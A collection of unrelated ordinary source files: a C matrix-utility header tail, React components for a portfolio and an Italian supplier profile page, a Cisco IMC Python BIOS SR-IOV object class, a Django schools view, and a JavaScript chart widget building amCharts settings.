* Determinant of a Matrix, single precision, i,e.
* \code{.m}
* d = det(A);
* \endcode
*
* @param[in] A Input square matrix; FLAT: N x N
* @param[in] N size of matrix
* @returns determinant
*/
float utility_sdet(float* A,
int N);
/* ========================================================================== */
/* Matrix Inversion (?inv) */
/* ========================================================================== */
/**
* Matrix inversion: single precision, i.e.
* \code{.m}
* B = inv(A);
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[out] B Inverted square matrix; FLAT: dim x dim
* @param[in] dim size of matrix
*/
void utility_sinv(float* A,
float* B,
const int dim);
/**
* Matrix inversion: double precision, i.e.
* \code{.m}
* B = inv(A);
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[out] B Inverted square matrix; FLAT: dim x dim
* @param[in] dim size of matrix
*/
void utility_dinv(double* A,
double* B,
const int dim);
/**
* Matrix inversion: double precision complex, i.e.
* \code{.m}
* B = inv(A);
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[out] B Inverted square matrix; FLAT: dim x dim
* @param[in] dim size of matrix
*/
void utility_cinv(float_complex* A,
float_complex* B,
const int dim);
#ifdef __cplusplus
}/* extern "C" */
#endif /* __cplusplus */
#endif /* SAF_VECLIB_H_INCLUDED */
/**@} */ /* doxygen addtogroup Utilities */
|
import React from 'react';
import styles from './WorkingOn.module.scss';
const WorkingOn = () => (
<div className={styles['workingon']}>
<b> Working On </b>
<div>
<a href="https://ember-migration-helper.web.app" target="_blank">Ember Migration Helper</a>
</div>
</div>
);
export default WorkingOn;
|
import React from 'react';
import { Row, Col } from 'react-flex-proto';
import { Page, Panel, Modal, Button, Breadcrumbs, Input, Select, Switch, Tabs, Tab, Table, TableHead,TableBody, TableRow } from 'react-blur-admin';
import { Link } from 'react-router';
import _ from 'lodash';
import axios from 'axios';
import eventBus from 'src/lib/event-bus';
const options = {
onRowClick: function(row) {
alert(`You click row id: ${row.ID}`);
browserHistory.push('/fornitore-dettaglio-bando');
},
onRowDoubleClick: function(row) {
alert(`You double click row id: ${row.ID}`);
}
};
export class ProfiloAzienda extends React.Component {
constructor(props) {
super(props);
this.state = {
data: [],
dataBando: [],
}
}
componentWillMount(){
if(localStorage.getItem('userToken') == 'NaN'){
eventBus.emit('toLogin'); //Se non e' stato effettutato il login reindirizzo alla pagina di login
}else{
this.getDataForn(); //prendo i dati del fornitore per fare il display sul profilo
}
}
//richiamo l'endpoint con la funzione fetch()
getDataForn() {
let self = this;
axios.get('/api/getForn')
.then( (response) => {
//const res = response.clone();
if (response.status >= 400) {
throw new Error("Bad response from server");
}
return response;
}).then(function (result){
if (result.data.length != 0) { //diverso da null se ricevo una risposta altrimenti do un alert di reinserimento dati
//omettiamo il controllo del valore della variabile userToken andando a resettarla per assicurarci che sia il primo accesso
console.log('i dati letti sono: '+result.data); //controllo che abbia settato il token
//inserisco i valori del fornitore in un array che utilizzero poi nei campi di visualizzazione del medesimo
self.setState({
data: result.data
});
self.getPartecipForn(); //prendo le varie partecipazioni del fornitore
}else {
alert("Non ci sono informazioni relative a questo utente o ci sono errori del server");
}
}).catch(function (error) {
console.log(error);
});
}
//richiamo l'endpoint con la funzione fetch()
getPartecipForn() {
let self = this;
axios.post('/api/getPartecip', {
Mail: this.state.data[0].Mail,
}).then( (response) => {
//const res = response.clone();
if (response.status >= 400) {
throw new Error("Bad response from server");
}
return response;
}).then(function (result){
if (result.data.length != 0) { //diverso da null se ricevo una risposta altrimenti do un alert di reinserimento dati
//omettiamo il controllo del valore della variabile userToken andando a resettarla per assicurarci che sia il primo accesso
console.log('i dati letti sono: '+result.data); //controllo che abbia settato il token
//inserisco i valori del fornitore in un array che utilizzero poi nei campi di visualizzazione del medesimo
self.setState({
dataBando: result.data
});
}else {
alert("Non ci sono informazioni relative a questo utente o ci sono errori del server");
}
}).catch(function (error) {
console.log(error);
});
}
render() {
let data = [];
let Bandi = [];
if(this.state.data.length != 0){
data = this.state.data[0]; //provvedo ad evitare che la pagina vada in errore perche' al primo render lo state non e' settato
}
if(this.state.dataBando.length != 0){
Bandi = this.state.dataBando; //provvedo ad evitare che la pagina vada in errore perche' al primo render lo state non e' settato
}
return (
// {this.renderCustomizedModals()}
<Page title="Profilo Privato Aziendale - Sviluppo">
<Tabs
align='top'
startTab={1} >
<Tab title = "PROFILO PRIVATO AZIENDALE">
<Panel title = "Dati Generali Utente">
<ul>
<h5><li>Nome Referente: {data.Nome} </li></h5>
<h5><li>Cognome Referente: {data.Cognome}</li></h5>
<h5><li>Ruolo Referente: {data.Ruolo}</li></h5>
<h5><li>Email(aziendale): {data.Mail}</li></h5>
<h5><li>Numero di Telefono(aziendale): {data.Telefono}</li></h5>
</ul>
</Panel>
<Row>
<div>
<Panel title = "Dati Generici Azienda">
<ul>
<h5><li>Nome dell'Azienda: {data.NomeForn}</li></h5>
<h5><li>P.Iva: {data.IVAForn}</li></h5>
<h5><li>Forma Giuridica: {data.FGiurid}</li></h5>
<h5><li>PEC: {data.PEC}</li></h5>
<h5><li>Sito Web: {data.SitoWeb}</li></h5>
</ul>
</Panel>
</div>
<span> </span>
<div>
<Panel title = "Dati Anagrafica Tributaria e CCIAA Azienda">
<ul>
<h5><li>ATECO: {data.ATECO}</li></h5>
<h5><li>Comune CCIAA (ProvinciaCCIIAA ?): {data.ProvinciaCCIAA}</li></h5>
<h5><li>NUmero CCIAA(Numero REA ?): {data.NumeroREA}</li></h5>
</ul>
</Panel>
</div>
</Row>
<Row>
</Row>
</Tab>
<Tab title = "PARTECIPAZIONE BANDI">
<Panel title = "Lista bandi con aderenza">
<div>
<BootstrapTable className="bordered" options={ options } data={ Bandi }>
<TableHeaderColumn className="black-muted-bg" dataField='ID' editable={false} width='90' isKey={true} dataSort={ true } dataAlign='center'>ID</TableHeaderColumn>
<TableHeaderColumn className="black-muted-bg" dataField='Nome' filter={ { type: 'TextFilter', delay: 1000 }} dataAlign='center' dataSort={ true }>NOME</TableHeaderColumn>
<TableHeaderColumn className="black-muted-bg" dataField='Categoria' filter={ { type: 'TextFilter', delay: 1000 }} dataAlign='center' dataSort={ true }>CATEGORIA</TableHeaderColumn>
<TableHeaderColumn className="black-muted-bg" dataField='Apertura' filter={ { type: 'TextFilter', delay: 1000 }} dataAlign='center' dataSort={ true }>APERTO IL</TableHeaderColumn>
<TableHeaderColumn className="black-muted-bg" dataField='Chiusura' filter={ { type: 'TextFilter', delay: 1000 }} dataAlign='center' dataSort={ true }>CHIUDERA IL</TableHeaderColumn>
<TableHeaderColumn className="black-muted-bg" dataField='OffertaMassima' filter={ { type: 'TextFilter', delay: 1000 }} dataAlign='center' dataSort={ true }>OFFERTA MAX</TableHeaderColumn>
<TableHeaderColumn className="black-muted-bg" dataField='MinRating' filter={ { type: 'TextFilter', delay: 1000 }} dataAlign='center' dataSort={ true }>PUNTEGGIO MIN</TableHeaderColumn>
<TableHeaderColumn className="black-muted-bg" dataField='Stato' filter={ { type: 'TextFilter', delay: 1000 }} dataAlign='center' dataSort={ true }>STATO</TableHeaderColumn>
</BootstrapTable>
</div>
</Panel>
</Tab>
</Tabs>
</Page>
);
}
}
|
"""This module contains the general information for BiosVfSrIov ManagedObject."""
from ...imcmo import ManagedObject
from ...imccoremeta import MoPropertyMeta, MoMeta
from ...imcmeta import VersionMeta
class BiosVfSrIovConsts:
VP_SR_IOV_DISABLED = "Disabled"
VP_SR_IOV_ENABLED = "Enabled"
_VP_SR_IOV_DISABLED = "disabled"
_VP_SR_IOV_ENABLED = "enabled"
VP_SR_IOV_PLATFORM_DEFAULT = "platform-default"
class BiosVfSrIov(ManagedObject):
"""This is BiosVfSrIov class."""
consts = BiosVfSrIovConsts()
naming_props = set([])
mo_meta = {
"classic": MoMeta("BiosVfSrIov", "biosVfSrIov", "sr-iov", VersionMeta.Version151f, "InputOutput", 0x1f, [], ["admin"], [u'biosPlatformDefaults', u'biosSettings'], [], ["Get", "Set"]),
"modular": MoMeta("BiosVfSrIov", "biosVfSrIov", "sr-iov", VersionMeta.Version2013e, "InputOutput", 0x1f, [], ["admin"], [u'biosPlatformDefaults', u'biosSettings'], [], ["Get", "Set"])
}
prop_meta = {
"classic": {
"dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version151f, MoPropertyMeta.READ_WRITE, 0x2, 0, 255, None, [], []),
"rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version151f, MoPropertyMeta.READ_WRITE, 0x4, 0, 255, None, [], []),
"status": MoPropertyMeta("status", "status", "string", VersionMeta.Version151f, MoPropertyMeta.READ_WRITE, 0x8, None, None, None, ["", "created", "deleted", "modified", "removed"], []),
"vp_sr_iov": MoPropertyMeta("vp_sr_iov", "vpSrIov", "string", VersionMeta.Version151f, MoPropertyMeta.READ_WRITE, 0x10, None, None, None, ["Disabled", "Enabled", "disabled", "enabled", "platform-default"], []),
"child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version151f, MoPropertyMeta.INTERNAL, None, None, None, None, [], []),
},
"modular": {
"dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version2013e, MoPropertyMeta.READ_WRITE, 0x2, 0, 255, None, [], []),
"rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version2013e, MoPropertyMeta.READ_WRITE, 0x4, 0, 255, None, [], []),
"status": MoPropertyMeta("status", "status", "string", VersionMeta.Version2013e, MoPropertyMeta.READ_WRITE, 0x8, None, None, None, ["", "created", "deleted", "modified", "removed"], []),
"vp_sr_iov": MoPropertyMeta("vp_sr_iov", "vpSrIov", "string", VersionMeta.Version2013e, MoPropertyMeta.READ_WRITE, 0x10, None, None, None, ["Disabled", "Enabled", "disabled", "enabled", "platform-default"], []),
"child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version2013e, MoPropertyMeta.INTERNAL, None, None, None, None, [], []),
},
}
prop_map = {
"classic": {
"dn": "dn",
"rn": "rn",
"status": "status",
"vpSrIov": "vp_sr_iov",
"childAction": "child_action",
},
"modular": {
"dn": "dn",
"rn": "rn",
"status": "status",
"vpSrIov": "vp_sr_iov",
"childAction": "child_action",
},
}
def __init__(self, parent_mo_or_dn, **kwargs):
self._dirty_mask = 0
self.status = None
self.vp_sr_iov = None
self.child_action = None
ManagedObject.__init__(self, "BiosVfSrIov", parent_mo_or_dn, **kwargs)
|
from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import HttpResponseRedirect
from django.urls import reverse
from django.shortcuts import render
from django.views import View
from administracao.models import *
class LoginRequired(LoginRequiredMixin):
"""Configurações para o login"""
login_url = 'administracao/login/'
redirect_field_name = 'next'
class EscolasView(LoginRequired, View):
"""Página que carrega um mapa com as escolas"""
def get(self, request):
escolas = Escola.objects.order_by('-id')
context = {'pagina_mapa_escolas': True, 'escolas': escolas}
return render(self.request, 'mapas/escolas.html', context)
|
App.UI.registerUIComponent('control','chart',
{
create: function()
{
this.getAttributes = function()
{
// chartModes line clustered stacked 100% stacked
return [
{name: 'type', optional: false, defaultValue: '',
description: "enumerated value, or property on payload to find value"},
{name: 'title', optional: true, defaultValue: '', description: "Title displayed at the top of the chart."},
{name: 'color', optional: true, defaultValue: '#477398',
description: "Specifies the base color of the chart or the color for each bar/slice/line ." +
" You can provide a single hex color or csv color list"},
{name: 'angle', optional: true, defaultValue: '15', description:
"Angle for '3D' graphs, bar and pie (in degrees)"},
{name: 'thickness', optional: true, defaultValue: '15', description: "Thickness of '3D' graphs (in pixels)"},
{name: 'width', optional: true, defaultValue: '400', description: "The width of the chart (in pixels)"},
{name: 'height', optional: true, defaultValue: '360', description: "The height of the chart (in pixels)"},
{name: 'chartMode', optional: true, defaultValue: 'clustered',
description: "sub type for bar and line charts"},
{name: 'barOrientation', optional: true, defaultValue: '400', description: '"vertical" or "horizontal" orientation for a bar chart'},
{name: 'rotateXAxisLabel', optional: true, defaultValue: 'false', description: '"true" or "false". If "true" x axis labels are rotated by 90 degrees.'},
{name: 'rotateYAxisLabel', optional: true, defaultValue: 'false', description: '"true" or "false". If "true" y axis labels are rotated by 90 degrees.'},
{name: 'legend', optional: true, defaultValue: 'false', description: '"true" or "false". If "true" a legend will be displayed.'},
{name: 'brightness_step', optional: true, defaultValue: '15', description: 'How much the brightness of the chart increases'},
{name: 'font-size', optional: true, defaultValue: '11',description: 'Font size (in pixels)'},
{name: 'property', optional: false, defaultValue: '', description: 'The property of the message to use to populate the chart'},
{name: 'chartTitles', optional: true, defaultValue: '', description: 'Array property name that contains the titles for the legend and labels composite bar charts.'},
{name: 'fillAlpha', optional: true, defaultValue: '30', description: "Specifies the opacity of the shaded area under a line in a line chart (percentage)"},
{name: 'indicator', optional: true, defaultValue: 'false', description: "Enable a mouseover bubble to show the value of every line at a given x value on a line graph"},
{name: 'margin-top', optional: true, defaultValue: '80', description: "Specifies the space between the top of the chart and the start of the line or bar chart (pixels)"},
{name: 'margin-left', optional: true, defaultValue: '50', description: "Specifies the space between the left of the chart and the start of the line or bar chart (pixels)"},
{name: 'margin-right', optional: true, defaultValue: '50', description: "Specifies the space between the right of the chart and the start of the line or bar chart (pixels)"},
{name: 'margin-bottom', optional: true, defaultValue: '50',description: "Specifies the space between the bottom of the chart and the start of the line or bar chart (pixels)"},
{name: 'legendHighlight', optional: true, defaultValue: 'true', description: "Specifies whether the lines on the line chart will be 'highlighted' when one mouses over a legend value for that line."},
{name: 'background-color', optional: true, defaultValue: '#FFFFFF'},
{name: 'radius', optional: true, defaultValue: '90'},
{name: 'precision', optional: true, defaultValue: '2'},
{name: 'innerRadius', optional: true, defaultValue: '30', description: "Specifies the radius of the 'hole' in the center of the pie chart (pixels)"},
{name: 'animation', optional: true, defaultValue: 'true'},
{name: 'oneBalloon', optional: true, defaultValue: 'false', description: "Specifies whether an indicator balloon will be shown for all lines or only the line closest to the mouse pointer on the line graph. Possible values are 'true' or 'false'."},
{name: 'xAxisLabel', optional: true, defaultValue: ''},
{name: 'xAxisYPosition', optional: true, defaultValue: '0'},
{name: 'xAxisXPosition', optional: true, defaultValue: '0'},
{name: 'yAxisLabel', optional: true, defaultValue: ''},
{name: 'yAxisYPosition', optional: true, defaultValue: '0'},
{name: 'yAxisXPosition', optional: true, defaultValue: '0'},
{name: 'dataValueMax', optional: true, defaultValue: '0'},
{name: 'lineColor', optional: true, defaultValue: '#333333'},
{name: 'textColor',optional:true,defaultValue:'#333333'}];
};
/**
* The version of the control. This will automatically be corrected when you
* publish the component.
*/
this.getVersion = function()
{
// leave this as-is and only configure from the build.yml file
// and this will automatically get replaced on build of your distro
return '__VERSION__';
};
/**
* The control spec version. This is used to maintain backwards compatability as the
* Widget API needs to change.
*/
this.getSpecVersion = function()
{
return 1.0;
};
this.getControlJS = function()
{
return ['swfobject.js']
}
this.render = function(value)
{
this.execute(value);
};
this.execute = function(data)
{
var type = this.options['type'];
var title = this.options['title'];
var color = this.options['color'];
var angle = this.options['angle'];
var thickness = this.options['thickness'];
var width = this.options['width'];
var height = this.options['height'];
var chartMode = this.options['chartMode'];
var barOrientation = this.options['barOrientation'];
var rotateXAxisLabel = this.options['rotateXAxisLabel'];
var rotateYAxisLabel = this.options['rotateYAxisLabel'];
var legend_enabled = this.options['legend'];
var brightness_step = this.options['brightness_step'];
var propertyName = this.options['property'];
var titlePropertyName = this.options['chartTitles'];
var textSize = this.options['font-size'];
var fillAlpha = this.options['fillAlpha'];
var indicator = this.options['indicator'];
var marginTop = this.options['margin-top'];
var marginLeft = this.options['margin-left'];
var marginRight = this.options['margin-right'];
var marginBottom = this.options['margin-bottom'];
var legendHighlight = this.options['legendHighlight'];
var oneBalloon = this.options['oneBalloon'];
var backgroundColor = this.options['background-color'];
var innerRadius = this.options['innerRadius'];
var radius = this.options['radius'];
var precision = this.options['precision'];
var yAxisLabel = this.options['yAxisLabel'];
var xAxisLabel = this.options['xAxisLabel'];
var yAxisXPosition = this.options['yAxisXPosition'];
var yAxisYPosition = this.options['yAxisYPosition'];
var xAxisXPosition = this.options['xAxisXPosition'];
var xAxisYPosition = this.options['xAxisYPosition'];
var dataValueMax = this.options['dataValueMax'];
var animation = this.options['animation'];
var textColor = this.options['textColor']
var lineColor = this.options['lineColor']
if (animation != 'false' && type.toLowerCase() == 'pie') animation = 2;
else if (animation != 'false' && type.toLowerCase() == 'bar') animation = 1;
else animation = 0;
if (dataValueMax != '')
{
dataValueMax = App.getActionValue(data,dataValueMax) || '';
}
if (barOrientation.toLowerCase() != "vertical" && barOrientation.toLowerCase() != "horizontal")
{
barOrientation = App.getActionValue(data,barOrientation) || 'vertical';
}
if (barOrientation.toLowerCase() == 'horizontal')
{
barOrientation = 'bar';
} else
{
barOrientation = 'column';
}
if (rotateXAxisLabel.toLowerCase() == 'true')
{
rotateXAxisLabel = 90;
} else
{
rotateXAxisLabel = 0;
}
if (rotateYAxisLabel.toLowerCase() == 'true')
{
rotateYAxisLabel = 90;
} else
{
rotateYAxisLabel = 0;
}
if (propertyName)
{
array = App.getActionValue(data,propertyName) || [];
this.options['data'] = array;
}
else
{
array = [];
}
if (title != '')
{
var t_title = App.getActionValue(data,title);
if (t_title == null)
{
t_title = '*[No Title]*';
}
if (t_title != '*[No Title]*')
{
title = t_title;
}
}
if (yAxisLabel != '')
{
var t_yAxisLabel = App.getActionValue(data,yAxisLabel);
if (t_yAxisLabel == null)
{
t_yAxisLabel = '*[No yAxisLabel]*';
}
if (t_yAxisLabel != '*[No yAxisLabel]*')
{
yAxisLabel = t_yAxisLabel;
} else yAxisLabel = '';
}
if (xAxisLabel != '')
{
var t_xAxisLabel = App.getActionValue(data,xAxisLabel);
if (t_xAxisLabel == null)
{
t_xAxisLabel = '*[No xAxisLabel]*';
}
if (t_xAxisLabel != '*[No xAxisLabel]*')
{
xAxisLabel = t_xAxisLabel;
} else xAxisLabel = '';
}
var data_as_csv = this.getDataAsCSV(array);
if (type.toLowerCase() != "bar" && type.toLowerCase() != "pie" && type.toLowerCase() != "line" && type.toLowerCase() != "")
{
type = App.getActionValue(data,type,'');
}
if (type.toLowerCase() == "bar" && (chartMode.toLowerCase() != "clustered" && chartMode.toLowerCase() != "stacked" && chartMode.toLowerCase() != "100% stacked"))
{
chartMode = App.getActionValue(data,chartMode,'clustered');
}
if (type.toLowerCase() == "line" && (chartMode.toLowerCase() != "line" && chartMode.toLowerCase() != "stacked" && chartMode.toLowerCase() != "100% stacked"))
{
chartMode = App.getActionValue(data,chartMode,'line');
}
var color_list = color.split(',');
if (color_list.length > 1 && type.toLowerCase() == "pie")
{
color_list = color;
color = '';
brightness_step = '';
} else if (color_list.length == 1 && type.toLowerCase() == "pie")
{
color_list = '';
}
if (color_list.length > 1 && type.toLowerCase() == "bar")
{
color = color_list[0];
}
var stacked_balloon = '';
if (type.toLowerCase() == "bar" || type.toLowerCase() == "line")
{
titleArray = App.getActionValue(data,titlePropertyName) || [];
this.options['titleArray'] = titleArray;
var column_titles_template = '';
if (type.toLowerCase() == "bar")
{
column_titles_template = '<graph gid="{COL_NUM}"><type>column</type><title>{COL_TITLE}</title><color>{COL_COLOR}</color><alpha></alpha><data_labels></data_labels><fill_alpha>' + fillAlpha + '</fill_alpha></graph>';
} else if (type.toLowerCase() == "line")
{
column_titles_template = '<graph><axis>left</axis><title>{COL_TITLE}</title><color>{COL_COLOR}</color><color_hover>FF0000</color_hover><fill_alpha>' + fillAlpha + '</fill_alpha><balloon_text><![CDATA[{COL_TITLE} {value}]]></balloon_text></graph>';
}
var chartTitlesTemp = '';
var chartTitles = '';
for (var i = 0, len = titleArray.length; i < len; i++)
{
chartTitlesTemp += column_titles_template.gsub('{COL_NUM}', i.toString()).gsub('{COL_TITLE}', titleArray[i]['title']).gsub('{COL_COLOR}', color_list[i]||'');
}
if (titleArray.length == 0)
{
if (type.toLowerCase() == "bar")
{
chartTitles = '<graph gid="0"><type>column</type><title></title><data_labels></data_labels><color>' + color + '</color><alpha></alpha><fill_alpha>' + fillAlpha + '</fill_alpha><width></width><bullet></bullet><bullet_size></bullet_size><bullet_color></bullet_color><gradient_fill_colors></gradient_fill_colors></graph>';
} else if (type.toLowerCase() == "line")
{
for (var i = 0; i < color_list.length; i++)
{
chartTitles += '<graph><axis>left</axis><title></title><color>' + color_list[i] + '</color><color_hover>#FF0000</color_hover><fill_alpha>' + fillAlpha + '</fill_alpha><balloon_text><![CDATA[]]></balloon_text></graph>';
}
} else
{
chartTitles = '<graph><axis>left</axis><title></title><color>' + color + '</color><color_hover>#FF0000</color_hover><fill_alpha>' + fillAlpha + '</fill_alpha><balloon_text><![CDATA[]]></balloon_text></graph>';
}
} else
{
chartTitles = chartTitlesTemp;
}
var stacked_baloon_fix = (titleArray.length > 0) ? '{title}' : '{series}';
if (chartMode.toLowerCase() == 'stacked')
{
stacked_balloon = '<balloon_text><![CDATA[' + stacked_baloon_fix + ': {value}]]></balloon_text>';
} else if (chartMode.toLowerCase() == '100% stacked')
{
stacked_balloon = '<balloon_text><![CDATA[' + stacked_baloon_fix + ': {percents}%]]></balloon_text>';
} else if (chartMode.toLowerCase() == 'clustered')
{
stacked_balloon = '<balloon_text><![CDATA[' + stacked_baloon_fix + ': {value}]]></balloon_text>';
} else if (chartMode.toLowerCase() == 'line')
{
stacked_balloon = '<balloon_text><![CDATA[' + stacked_baloon_fix + ': {value}]]></balloon_text>';
}
}
var legend_comp = legend_enabled ? Math.floor(height*0.06) : 0;
var g_height = height - legend_comp;
var so;
if (type.toLowerCase() == "pie")
{
so = new SWFObject(App.UI.componentRoot+"controls/chart/swf/ampie.swf", "chart_" + this.element.id, width, height, "8", backgroundColor);
so.addVariable("chart_settings", escape('<settings><width/><height>' + g_height + '</height><data_type>csv</data_type><csv_separator>,</csv_separator><skip_rows>0</skip_rows><font>Arial</font><text_size>' + textSize + '</text_size><text_color>'+textColor+'</text_color><decimals_separator>.</decimals_separator><thousands_separator>,</thousands_separator><redraw/><reload_data_interval/><add_time_stamp>false</add_time_stamp><precision>'+precision+'</precision><export_image_file/><exclude_invisible/><pie><x/><y></y><radius>'+radius+'</radius><inner_radius>' + innerRadius + '</inner_radius><height>' + thickness + '</height><angle>' + angle + '</angle><outline_color/><outline_alpha/><!-- main color --><base_color>' + color + '</base_color><brightness_step>' + brightness_step + '</brightness_step><colors>' + color_list +'</colors><link_target/><alpha/></pie><animation><start_time>'+animation+'</start_time><start_effect>strong</start_effect><start_radius/><start_alpha>0</start_alpha><pull_out_on_click/><pull_out_time>1.5</pull_out_time><pull_out_effect>Bounce</pull_out_effect><pull_out_radius/><pull_out_only_one/></animation><data_labels><radius/><text_color/><text_size/><max_width>140</max_width><show><![CDATA[{title}: {percents}%]]></show><show_lines/><line_alpha/><hide_labels_percent>3</hide_labels_percent></data_labels><group><percent/><color/><title/><url/><description/><pull_out/></group><background><color>' + backgroundColor + '</color><alpha>100</alpha><border_color/><border_alpha/><file/></background><balloon><enabled/><color/><alpha>80</alpha><text_color/><text_size/><show><![CDATA[{title}: {percents}%]]></show></balloon><legend><enabled>' + legend_enabled + '</enabled><x/><y></y><width/><color>#FFFFFF</color><max_columns/><alpha>0</alpha><border_color>#000000</border_color><border_alpha>0</border_alpha><text_color/><text_size/><spacing>5</spacing><margins> <left>'+marginLeft+'</left> <top>'+marginTop+'</top> <right>'+marginRight+'</right> <bottom>'+marginBottom+'</bottom> </margins><key><size>16</size><border_color/></key></legend><strings><no_data/><export_as_image/><collecting_data/></strings><labels><label><x>0</x><y>10</y><rotate>false</rotate><width/><align>center</align><text_color/><text_size>' + textSize + '</text_size><text>' + title + '</text></label></labels></settings>'));
} else if (type.toLowerCase() == "bar")
{
so = new SWFObject(App.UI.componentRoot+"controls/chart/swf/amcolumn.swf", "chart_" + this.element.id, width, height, "8",backgroundColor);
so.addVariable("chart_settings", escape('<settings><type>' + barOrientation + '</type><width></width><height>' + g_height + '</height><data_type>csv</data_type><csv_separator>,</csv_separator><skip_rows>0</skip_rows><font>Arial</font><text_size>' + textSize + '</text_size><text_color>'+textColor+'</text_color><decimals_separator>.</decimals_separator><thousands_separator>,</thousands_separator><redraw>false</redraw><reload_data_interval>0</reload_data_interval><add_time_stamp>false</add_time_stamp><precision>2</precision><depth>' + thickness + '</depth><angle>'+angle+'</angle><export_image_file></export_image_file><column><type>' + chartMode + '</type><width>60</width><spacing>1</spacing><grow_time>'+animation+'</grow_time><grow_effect>strong</grow_effect><alpha>100</alpha><border_color>#FFFFFF</border_color><border_alpha></border_alpha><data_labels><![CDATA[]]></data_labels><data_labels_text_color></data_labels_text_color><data_labels_text_size></data_labels_text_size><data_labels_position></data_labels_position>' + stacked_balloon + '<link_target></link_target><gradient></gradient></column><line><connect></connect><width></width><alpha></alpha><fill_alpha>' + fillAlpha + '</fill_alpha><bullet></bullet><bullet_size></bullet_size><data_labels></data_labels><data_labels_text_color></data_labels_text_color><data_labels_text_size></data_labels_text_size><balloon_text><![CDATA[{value}]]></balloon_text><link_target></link_target></line><background><color>' + backgroundColor + '</color><alpha>100</alpha><border_alpha></border_alpha><file></file></background><plot_area><color></color><alpha></alpha><margins><left>'+marginLeft+'</left><top>'+marginTop+'</top><right>'+marginRight+'</right><bottom>'+marginBottom+'</bottom></margins></plot_area><grid><category><color>#000000</color><alpha>15</alpha><dashed>true</dashed><dash_length>5</dash_length></category><value><color>#000000</color><alpha>5</alpha><dashed>false</dashed><dash_length>5</dash_length><approx_count>10</approx_count></value></grid><values><category><enabled>true</enabled><frequency>1</frequency><rotate>' + rotateXAxisLabel + '</rotate><color></color><text_size>' + textSize + '</text_size></category><value><enabled>true</enabled><min>0</min><max>'+dataValueMax+'</max><frequency>1</frequency><rotate>' + rotateYAxisLabel + '</rotate><skip_first>true</skip_first><skip_last>false</skip_last><color></color><text_size>' + textSize + '</text_size><unit></unit><unit_position>right</unit_position><integers_only></integers_only></value></values><axes><category><color>'+lineColor+'</color><alpha>100</alpha><width>1</width><tick_length>7</tick_length></category><value><color>'+lineColor+'</color><alpha>100</alpha><width>1</width><tick_length>7</tick_length></value></axes><balloon><enabled>true</enabled><color></color><alpha>80</alpha><text_color></text_color><text_size>' + textSize + '</text_size></balloon><legend><enabled>' + legend_enabled + '</enabled><x></x><y>' + Math.floor(height*0.1) + '</y><width></width><color>#FFFFFF</color><alpha>0</alpha><border_color>#000000</border_color><border_alpha>0</border_alpha><text_color></text_color><text_size>' + textSize + '</text_size><spacing>5</spacing><margins>0</margins><key><size>16</size><border_color></border_color></key></legend><strings><no_data></no_data><export_as_image></export_as_image><collecting_data></collecting_data></strings><labels><label><x>0</x><y>5</y><rotate></rotate><width></width><align>center</align><text_color></text_color><text_size>' + textSize + '</text_size><text><![CDATA[' + title + ']]></text></label> <label><x>'+ yAxisXPosition +'</x><y>' + yAxisYPosition + '</y><rotate>true</rotate><width></width><align>center</align><text_color></text_color><text_size>' + textSize + '</text_size><text><![CDATA[' + yAxisLabel + ']]></text></label><label><x>'+xAxisXPosition+'</x><y>'+xAxisYPosition+'</y><rotate>false</rotate><width></width><align>center</align><text_color></text_color><text_size>' + textSize + '</text_size><text><![CDATA[' + xAxisLabel + ']]></text></label> </labels><graphs>' + chartTitles + '</graphs></settings>'));
} else if (type.toLowerCase() == "line")
{
so = new SWFObject(App.UI.componentRoot+"controls/chart/swf/amline.swf", "chart_" + this.element.id, width, height, "8", backgroundColor);
so.addVariable("chart_settings", escape('<settings> <width></width><height>' + g_height + '</height><data_type>csv</data_type> <type>' + chartMode + '</type> <csv_separator>,</csv_separator> <skip_rows></skip_rows> <font></font> <text_size>' + textSize + '</text_size> <text_color>'+textColor+'</text_color> <decimals_separator>.</decimals_separator> <thousands_separator>,</thousands_separator> <redraw></redraw><reload_data_interval></reload_data_interval> <add_time_stamp></add_time_stamp><connect></connect> <hide_bullets_count></hide_bullets_count> <export_image_file></export_image_file><link_target></link_target><background> <color>' + backgroundColor + '</color> <alpha>100</alpha> <border_color></border_color> <border_alpha></border_alpha> <file></file></background><plot_area> <color></color> <alpha></alpha> <border_color></border_color> <border_alpha></border_alpha> <margins> <left>'+marginLeft+'</left> <top>'+marginTop+'</top> <right>'+marginRight+'</right> <bottom>'+marginBottom+'</bottom> </margins> </plot_area><scroller> <enabled></enabled> <y></y> <color></color> <alpha></alpha> <bg_color></bg_color> <bg_alpha></bg_alpha> <height></height> </scroller><grid> <x> <enabled></enabled> <color></color><alpha>5</alpha><dashed>true</dashed><dash_length>5</dash_length> <approx_count>10</approx_count> </x> <y_left> <enabled></enabled> <color></color> <alpha>5</alpha><dashed></dashed><dash_length></dash_length> <approx_count></approx_count> </y_left> <y_right> <enabled></enabled> <color></color> <alpha>5</alpha><dashed></dashed><dash_length></dash_length> <approx_count></approx_count> </y_right> </grid><values> <x> <enabled>true</enabled> <rotate>' + rotateXAxisLabel + '</rotate> <frequency></frequency> <skip_first></skip_first> <skip_last></skip_last> <color></color> <text_size>' + textSize + '</text_size> </x> <y_left> <enabled>true</enabled> <rotate>' + rotateYAxisLabel + '</rotate> <min></min> <max></max> <strict_min_max></strict_min_max> <frequency></frequency> <skip_first></skip_first> <skip_last></skip_last> <color></color> <text_size>' + textSize + '</text_size> <unit></unit> <unit_position></unit_position> <integers_only></integers_only> </y_left> <y_right> <enabled></enabled> <rotate>' + rotateYAxisLabel + '</rotate> <min></min> <max></max> <strict_min_max></strict_min_max> <frequency></frequency> <skip_first></skip_first> <skip_last></skip_last> <color></color> <text_size>' + textSize + '</text_size> <unit></unit> <unit_position></unit_position> <integers_only></integers_only> </y_right> </values><axes> <x> <color></color> <alpha></alpha> <width></width> <tick_length></tick_length> </x> <y_left> <color></color> <alpha></alpha> <width></width> <tick_length></tick_length> </y_left> <y_right> <color></color> <alpha></alpha> <width></width> <tick_length></tick_length> </y_right> </axes><indicator> <enabled>' + indicator + '</enabled> <zoomable></zoomable> 